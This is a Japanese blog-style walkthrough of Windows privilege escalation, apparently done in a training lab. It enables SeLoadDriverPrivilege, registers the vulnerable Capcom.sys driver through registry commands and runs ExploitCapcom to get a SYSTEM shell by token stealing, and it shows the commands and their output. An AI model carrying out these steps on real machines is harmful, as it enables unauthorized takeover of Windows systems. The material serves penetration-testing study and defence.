😽
SeLoadDriverPrivilegeとCapcom.sysを利用したWindows PrivEsc
SeLoadDriverPrivilegeの確認
>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeLoadDriverPrivilegeが無効になっている。
EnableSeLoadDriverPrivilege.exeを利用する
このソースコードのヘッダーを以下に更新してコンパイルする。
#include <windows.h>
#include <assert.h>
#include <winternl.h>
#include <sddl.h>
#include <stdio.h>
#include "tchar.h"
VisualStudioの場合、開発者コマンドプロンプトを開き以下のコマンドでコンパイルする。
>cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp
Microsoft(R) C/C++ Optimizing Compiler Version 19.29.30147 for x86
Copyright (C) Microsoft Corporation. All rights reserved.
EnableSeLoadDriverPrivilege.cpp
Microsoft (R) Incremental Linker Version 14.29.30147.0
Copyright (C) Microsoft Corporation. All rights reserved.
/out:EnableSeLoadDriverPrivilege.exe
EnableSeLoadDriverPrivilege.obj
EnableSeLoadDriverPrivilege.exeを実行する
>EnableSeLoadDriverPrivilege.exe
EnableSeLoadDriverPrivilege.exe
whoami:
INLANEFREIGHT0\printsvc
whoami /priv
SeMachineAccountPrivilege Disabled
SeLoadDriverPrivilege Enabled
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege Enabled by default
SeIncreaseWorkingSetPrivilege Disabled
NTSTATUS: 00000000, WinError: 0
SeLoadDriverPrivilegeが有効になった
Capcom.sysを追加する
ここからCapcom.sysをダウンロードする。
C:\Temp
に配置した場合、以下のコマンドでドライバを追加する。
> reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Temp\Capcom.sys"
The operation completed successfully.
> reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1
The operation completed successfully.
ドライバがロードされているかを確認する。
ここからDriverView.exeを入手し、Capcom.sysがロードされていることを確認する。
> DriverView.exe /stext drivers.txt
> type drivers.txt | findstr /i Capcom
Driver Name : Capcom.sys
Filename : c:\Temp\Capcom.sys
ExploitCapcomを実行する
GitHubからリポジトリを入手する。
ExploitCapcom.exeをコンパイルし、実行する。
>ExploitCapcom.exe
[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 000000000000006C
[*] Shellcode was placed at 0000017AF0030008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched
[*] Press any key to exit this program
管理者権限を取得した。
Discussion